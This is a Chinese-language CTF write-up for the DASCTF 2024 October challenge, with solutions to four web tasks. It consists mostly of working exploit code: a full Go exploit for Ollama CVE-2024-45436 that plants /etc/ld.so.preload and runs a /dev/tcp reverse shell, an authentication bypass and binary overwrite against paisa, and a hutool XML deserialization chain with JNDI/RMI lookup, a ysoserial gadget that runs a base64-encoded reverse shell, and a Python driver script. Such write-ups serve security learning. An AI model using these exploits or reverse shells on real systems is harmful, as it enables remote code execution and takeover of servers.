DASCTF 2024 十月挑战赛
1315609050541697 发表于 湖北 CTF 347浏览 · 2024-10-26 00:34

flow

题目给了一个读文件功能先读一下执行的命令

?file=/proc/self/cmdline

得到python3/app/main.py

那么直接读源码

?file=/app/main.py

源码如下

from flask import Flask, request, render_template_string, abort

app = Flask(__name__)

HOME_PAGE_HTML = '''
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Flask Web Application</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>
    <div class="container mt-5">
      <h1 class="display-4 text-center">Welcome to My Flask App</h1>
      <p class="lead text-center">This is a simple web app using Flask.</p>
      <div class="text-center">
        <a href="/file?f=example.txt" class="btn btn-primary">Read example.txt</a>
      </div>
    </div>
  </body>
</html>
'''

@app.route('/')
def index():
    return render_template_string(HOME_PAGE_HTML)

@app.route('/file')
def file():
    file_name = request.args.get('f')

    if not file_name:
        return "Error: No file parameter provided.", 400

    try:
        with open(file_name, 'r') as file:
            content = file.read()
        return content
    except FileNotFoundError:
        return abort(404, description="File not found.")
    except Exception as e:
        return f"Error reading file.", 500

if __name__ == '__main__':
    app.run(host="127.0.0.1", port=8080)

没有别的功能,我没直接读环境变量拿到flag

?file=/proc/1/environ

ollama4shell

CVE-2024-45436

需要在linux下运行,环境需要有gcc
安装golang,执行如下命令反弹shell

go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"

payload如下

package main

import (
    "archive/zip"
    "bufio"
    "bytes"
    "crypto/sha256"
    "encoding/json"
    "flag"
    "fmt"
    "io"
    "log"
    "net/http"
    "net/url"
    "os"
    "os/exec"
    "strconv"
    "strings"
)

const CODE = `#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) myInitFunction() {
    const char *f1 = "/etc/ld.so.preload";
    const char *f2 = "/tmp/hook.so";
    unlink(f1);
    unlink(f2);
    system("bash -c '%s'");
}`

func main() {

    var targetUrl string
    var execCmd string
    flag.StringVar(&targetUrl, "target", "", "target url")
    flag.StringVar(&execCmd, "exec", "", "exec command")
    flag.Parse()
    if targetUrl == "" {
        fmt.Println("target url is required")
        os.Exit(1)
    }

    u := FormatUrl(targetUrl)

    detectRes, err := Detect(u)
    if err != nil {
        log.Fatal(err)
    }
    if !detectRes {
        fmt.Println("\nVulnerability does not exist")
        os.Exit(1)
    }
    fmt.Println("\nVulnerability does exist!!!")

    if execCmd == "" {
        fmt.Println("exec command is required")
        os.Exit(1)
    }

    _, err = GenEvilSo(execCmd)
    if err != nil {
        log.Fatal(err)
    }
    evilZipName, err := GenEvilZip()
    if err != nil {
        log.Fatal(err)
    }

    blobSha256Name, err := UploadBlob(u, evilZipName)
    if err != nil {
        log.Fatal(err)
    }
    err = Create(u, strings.ReplaceAll(blobSha256Name, ":", "-"))
    if err != nil {
        log.Fatal(err)
    }
    err = EmbeddingsExec(u, "all-minilm:22m")
    if err != nil {
        log.Fatal(err)
    }
}

func GenEvilSo(cmd string) (string, error) {
    code := fmt.Sprintf(CODE, cmd)
    err := os.WriteFile("tmp.c", []byte(code), 0644)
    if err != nil {
        return "", err
    }

    compile := exec.Command("gcc", "tmp.c", "-o", "hook.so", "-fPIC", "-shared", "-ldl", "-D_GNU_SOURCE")
    err = compile.Run()
    if err != nil {
        fmt.Println(err)
        return "", err
    }
    return "hook.so", nil
}

func GenEvilZip() (string, error) {
    zipFile, err := os.Create("evil.zip")
    if err != nil {
        return "", err
    }
    zw := zip.NewWriter(zipFile)

    preloadFile, err := zw.Create("../../../../../../../../../../etc/ld.so.preload")
    _, err = preloadFile.Write([]byte("/tmp/hook.so"))
    if err != nil {
        return "", err
    }
    soFile, err := zw.Create("../../../../../../../../../../tmp/hook.so")
    if err != nil {
        return "", err
    }
    locSoFile, err := os.Open("hook.so")
    if err != nil {
        return "", err
    }
    defer locSoFile.Close()
    io.Copy(soFile, locSoFile)

    zw.Close()
    zipFile.Close()

    return "evil.zip", nil
}

func UploadBlob(url, fileName string) (string, error) {
    f, err := os.Open(fileName)
    if err != nil {
        return "", err
    }
    defer f.Close()
    h := sha256.New()
    if _, err := io.Copy(h, f); err != nil {
        return "", err
    }
    fName := fmt.Sprintf("sha256:%x", h.Sum(nil))

    _, err = f.Seek(0, 0)
    if err != nil {
        return "", err
    }

    newReader := bufio.NewReader(f)

    res, err := http.Post(url+"/api/blobs/"+fName, "application/octet-stream", newReader)
    if err != nil {
        return "", err
    }

    content, err := io.ReadAll(res.Body)
    if err != nil {
        return "", err
    }
    fmt.Println("http log: " + string(content))
    return fName, nil
}

func Create(url, remoteFilePath string) error {
    jsonContent := []byte(fmt.Sprintf(`{"name": "test","modelfile": "FROM /root/.ollama/models/blobs/%s"}`, remoteFilePath))

    res, err := http.Post(url+"/api/create", "application/json", bytes.NewBuffer(jsonContent))

    if err != nil {
        return err
    }
    content, err := io.ReadAll(res.Body)
    if err != nil {
        return err
    }
    fmt.Println("http log: " + string(content))
    return nil
}

func EmbeddingsExec(url, model string) error {
    for i := 0; i < 3; i++ {
        jsonContent := []byte(fmt.Sprintf(`{"model":"%s","keep_alive": 0}`, model))
        res, err := http.Post(url+"/api/embeddings", "application/json", bytes.NewBuffer(jsonContent))
        if err != nil {
            return err
        }

        if res.StatusCode != 200 {
            fmt.Println("pulling model, please wait......")
            err := PullMinilmModel(url)
            if err != nil {
                return err
            }
        } else {
            content, err := io.ReadAll(res.Body)
            if err != nil {
                return err
            }
            fmt.Println("http log: " + string(content))
            break
        }
    }

    return nil
}

func PullMinilmModel(url string) error {
    jsonContent := `{"name":"all-minilm:22m"}`
    res, err := http.Post(url+"/api/pull", "application/json", bytes.NewBuffer([]byte(jsonContent)))
    if err != nil {
        return err
    }
    content, err := io.ReadAll(res.Body)
    if err != nil {
        return err
    }
    fmt.Println("http log: " + string(content))
    return nil
}

func Detect(url string) (bool, error) {
    res, err := http.Get(url + "/api/version")
    if err != nil {
        return false, err
    }
    var jsonMap map[string]string
    jsonContent, err := io.ReadAll(res.Body)
    if err != nil {
        return false, err
    }
    if err := json.Unmarshal(jsonContent, &jsonMap); err != nil || jsonMap["version"] == "" {
        return false, err
    }
    return isVersionLessThan(jsonMap["version"], "0.1.47"), nil
}

func FormatUrl(u string) string {
    ur, err := url.Parse(u)
    if err != nil {
        fmt.Println(ur)
    }
    return fmt.Sprintf("%s://%s", ur.Scheme, ur.Host)
}

func isVersionLessThan(version, target string) bool {
    v1 := strings.Split(version, ".")
    v2 := strings.Split(target, ".")

    for i := 0; i < len(v1) && i < len(v2); i++ {
        num1, _ := strconv.Atoi(v1[i])
        num2, _ := strconv.Atoi(v2[i])
        if num1 < num2 {
            return true
        } else if num1 > num2 {
            return false
        }
    }

    return len(v1) < len(v2)
}

paisa4shell

前台RCE,题目使用官方docker镜像:https://github.com/ananthakumaran/paisa

首先是绕鉴权

这里用了 c.Request.RequestURI 来确定路由,但是 c.Request.RequestURI 是原始的请求URI,gin框架的路由选择是根据 c.Request.URL.Path 来确定的,所以我们可以通过URL编码的方式绕过这个中间件的检测,就像这样

GET /%61pi/config HTTP/1.1
Host: 127.0.0.1:7500
Connection: close

绕过身份验证后,可以利用 /api/editor/validate 的任意文件上传漏洞覆盖 /usr/bin/ledger 文件
payload如下

POST /%61pi/sheets/save

{"name":"../../../usr/bin/ledger","content":"#!/bin/sh\nenv"}

最后使用 /api/editor/validate 触发执行命令

POST /%61pi/editor/validate 

{}

ezlogin

hutool XML反序列化漏洞

XMLDecoder.readObject

<java>  
<object class="java.lang.ProcessBuilder">  
<array class="java.lang.String" length="1">  
<void index="0"><string>calc</string></void>  
</array>  
<void method="start"></void>  
</object>  
</java>

object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)
array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)
void 标签,method 的值对应着 method 的参数 (start)
最后相当于执行了 new java.lang.ProcessBuilder(new String[]{"calc"}).start();

主要代码如下

package org.example.auth;

import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.XmlUtil;
import java.io.File;
import java.text.MessageFormat;
import javax.xml.parsers.DocumentBuilderFactory;

/* loaded from: UserUtil.class */
public class UserUtil {
    private static int maxLength = FileUtil.readString(new File("/user/AAAAAA.xml"), "UTF-8").length();
    private static final File USER_DIR = new File("/user");
    public static boolean login_in = false;

    private static boolean checkSyntax(File xmlFile) {
        try {
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
            factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            factory.setNamespaceAware(false);
            factory.newDocumentBuilder().parse(xmlFile);
            return true;
        } catch (Exception e) {
            System.out.printf("XML syntax error : %s\n", xmlFile.getName());
            return false;
        }
    }

    public static String register(String username, String password) throws Exception {
        File userFile = new File(USER_DIR, username + ".xml");
        if (userFile.exists()) {
            return "User already exists!";
        }
        FileUtil.writeString(MessageFormat.format("<java>\n    <object class=\"org.example.auth.User\">\n        <void property=\"username\">\n            <string>{0}</string>\n        </void>\n        <void property=\"password\">\n            <string>{1}</string>\n        </void>\n    </object>\n</java>", username, password), userFile, "UTF-8");
        return "Register successful!";
    }

    public static User login(String username, String password) throws Exception {
        User user;
        File userFile = new File(USER_DIR, username + ".xml");
        if (!userFile.exists() || (user = readUser(userFile)) == null || !user.getPassword().equals(password)) {
            return null;
        }
        login_in = true;
        return user;
    }

    private static User readUser(File userFile) throws Exception {
        String content = FileUtil.readString(userFile, "UTF-8");
        int length = content.length();
        if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {
            return (User) XmlUtil.readObjectFromXml(userFile);
        }
        System.out.printf("Unusual File Detected : %s\n", userFile.getName());
        return null;
    }

    public static String changePassword(String username, String oldPass, String newPass) {
        File userFile = new File(USER_DIR, username + ".xml");
        if (!userFile.exists()) {
            return "User not exists!";
        }
        FileUtil.writeString(FileUtil.readString(userFile, "UTF-8").replace(oldPass, newPass), userFile, "UTF-8");
        return "Edit Success!";
    }

    public static String delUser(String username) {
        File userFile = new File(USER_DIR, username + ".xml");
        if (!userFile.exists()) {
            return "User has already been deleted!";
        }
        try {
            FileUtil.del(userFile);
            return "User delete success!";
        } catch (Exception e) {
            return "error!";
        }
    }

    public static boolean check(String username, String password) {
        if (!username.matches("^[\\x20-\\x7E]{1,6}$") || !password.matches("^[\\x20-\\x7E]{3,10}$")) {
            return false;
        }
        return true;
    }
}

审计代码存在hutool XML反序列化漏洞

private static User readUser(File userFile) throws Exception {  
    String content = FileUtil.readString(userFile, "UTF-8");  
    int length = content.length();  
    if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {  
        return (User) XmlUtil.readObjectFromXml(userFile);  
    }  
    System.out.printf("Unusual File Detected : %s\n", userFile.getName());  
    return null;  
}

更改密码功能代码存在逻辑漏洞,直接用的replace替换

public static String changePassword(String username, String oldPass, String newPass) {  
    File userFile = new File(USER_DIR, username + ".xml");  
    if (!userFile.exists()) {  
        return "User not exists!";  
    }  
    FileUtil.writeString(FileUtil.readString(userFile, "UTF-8").replace(oldPass, newPass), userFile, "UTF-8");  
    return "Edit Success!";  
}

同时路由并没有删除JSESSION

public class DeleteController {  
    @GetMapping({"/del"})  
    @ResponseBody  
    public String home(HttpSession session) {  
        User user = (User) session.getAttribute("loggedInUser");  
        if (user != null) {  
            return UserUtil.delUser(user.getUsername());  
        }  
        return "No user logged in!";  
    }  
}

其中lib包依赖如下有jackson依赖

长度限制可以用递归绕,即:

payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
    if len(payload1) - i >= 5:
        list1.append(payload1[i:i+5:]+"_____")
    else:
        list1.append(payload1[i:len(payload1)])
        break
print(list1)
if len(list1[-1]) < 3:
    list1[-1]=list1[-2][-8:-5:]+list1[-1]
    list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)

每次均替换______为下一段payload即可
同时利用该方法修改注释掉的xml部分,每个"<",">"之间都修改为最短的三字符,即可缩短xml文件至最小长度。
预期最短的xml应该是:

<!-->
111<111>
111<111>
111<111>D<111>
111<111>
111<111>
111<111>--><java><object class="javax.naming.InitialContext"><void method="lookup"><string>rmi://172.22.192.119:8888/a</string></void></object></java><!--<111>
111<111>
111<111>
</!-->

不过不需要这么极限,注释掉的部分随便改改短就可以了,用户名最短一字符。

修改ysoserial的ysoserial.exploit.JRMPListener来发送序列化数据:

public static void serialize(Object obj) throws Exception {
    ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
    objo.writeObject(obj);
}

public static void unserialize() throws Exception{
ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
obji.readObject();

}

public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");";
// 修改为自己的ip port
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};

return evilbyte;

}

public  static <T> void setValue(Object obj,String fname,T f) throws Exception{
    Field filed = TemplatesImpl.class.getDeclaredField(fname);
    filed.setAccessible(true);
    filed.set(obj,f);
}
// 删除writeReplace
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod wt = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(wt);
ctClass0.toClass();

//构造恶意TemplatesImpl
TemplatesImpl tmp = new TemplatesImpl();
setValue(tmp,"_tfactory",new TransformerFactoryImpl());
setValue(tmp,"_name","123");
setValue(tmp,"_bytecodes",generateEvilBytes());

//        //不稳定的触发
//        ObjectMapper objmapper = new ObjectMapper();
//        ArrayNode arrayNode =objmapper.createArrayNode();
//        arrayNode.addPOJO(tmp);
//
//
//        BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
//        Field f = BadAttributeValueExpException.class.getDeclaredField("val");
//        f.setAccessible(true);
//        f.set(ex,arrayNode);
//
//        serialize(ex);
//        System.out.println(getb64(ex));
//        System.out.println(getb64(ex).length());
//        unserialize();

//稳定触发

AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);

ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(proxy);

BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
        Field f = BadAttributeValueExpException.class.getDeclaredField("val");
        f.setAccessible(true);
        f.set(ex,arrayNode);


        oos.writeObject(ex);

        oos.flush();
        out.flush();

并在vps上运行

mvn clean package --DskipTests
cd target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 a a

启动JRMPListener后运行exp:即可反弹shell

import requests
import sys

targeturl = "http://"+sys.argv[1] //靶机地址

rmiserver = sys.argv[2] //rmi服务器地址

sessions = {}

def register(passwd):
    data={"password":passwd,"username":"F"}
    res = requests.post(targeturl+"/register",data=data)
    if "success" in res.text.lower():
        print(f"register {passwd} success")
    else : print(f"register fail: {res.text}");exit(114514)

def getsession(passwd):
    data={"password":passwd,"username":"F"}
    res = requests.post(targeturl+"/login",data=data)
    if "redirect" in res.text.lower() :
        session=res.headers.get("Set-Cookie").split(";")[0].split("=")[1]
        print(f"session for {passwd} : {session}")
        headers = {"Cookie" : f"JSESSIONID={session}"}
        sessions[passwd] = headers
    else:
        print(f"login fail : {res.text}");exit(114514)

def editpass(oldpass,newpass):
    data={"newPass":newpass}
    headers = sessions[oldpass]
    res = requests.post(targeturl+"/editPass",data=data,headers=headers)
    if "success" in res.text.lower():
        print(f"change {oldpass} to {newpass} success")
    else:
        print(f"edit fail : {res.text}");exit(114514)

def deluser(passwd):
    res = requests.get(targeturl+"/del",headers=sessions[passwd])
    if "success" in res.text.lower():
        print(f"delete {passwd} success")

def addsession(passwd):
    register(passwd)
    getsession(passwd)
    deluser(passwd)

payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
    if len(payload1) - i >= 5:
        list1.append(payload1[i:i+5:]+"_____")
    else:
        list1.append(payload1[i:len(payload1)])
        break
print(list1)
if len(list1[-1]) < 3:
    list1[-1]=list1[-2][-8:-5:]+list1[-1]
    list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)


list2=[]
payload2="11111 class=\"org.example.auth.User\""
for i in range(0,len(payload2),10) :
    if len(payload2) - i >= 10:
        list2.append(payload2[i:i+10:])
    else:
        list2.append(payload2[i:len(payload2)])
        break
print(list2)
for s in list2:
    addsession(s)

list3=[]
payload3="void property=\"username\""
for i in range(0,len(payload3),10) :
    if len(payload3) - i >= 10:
        list3.append(payload3[i:i+10:])
    else:
        list3.append(payload3[i:len(payload3)])
        break
print(list3)


list4=[]
payload4="void property=\"password\""
for i in range(0,len(payload4),10) :
    if len(payload4) - i >= 10:
        list4.append(payload4[i:i+10:])
    else:
        list4.append(payload4[i:len(payload4)])
        break
print(list4)



addsession("_____")

addsession("____")

for s in list3:
    addsession(s)

for s in list4:
    addsession(s)

addsession("string")

addsession("object")

addsession("/void")

addsession("    ")

addsession("1111111111")

addsession("/11111")

addsession("java")

addsession("11111")

register("haha")
getsession("haha")
editpass("java","!--")

editpass("string","11111")
editpass("object","11111")

editpass("/11111","11111")
editpass("    ","11111")

editpass("/void","111")

for s in list2:
    editpass(s,"11111")

for s in list3:
    editpass(s,"11111")

for s in list4:
    editpass(s,"11111")

editpass("1111111111","11111")
editpass("1111111111","11111")

editpass("haha",list1[0])

editpass("11111","111")

# Now it's the shortest (237)

for payload in list1[1::]:
    editpass("_____",payload)

editpass("____","<!--")

requests.post(targeturl+"/login",data={"username":"F","password":"1"})
0 条评论
某人
表情
可输入 255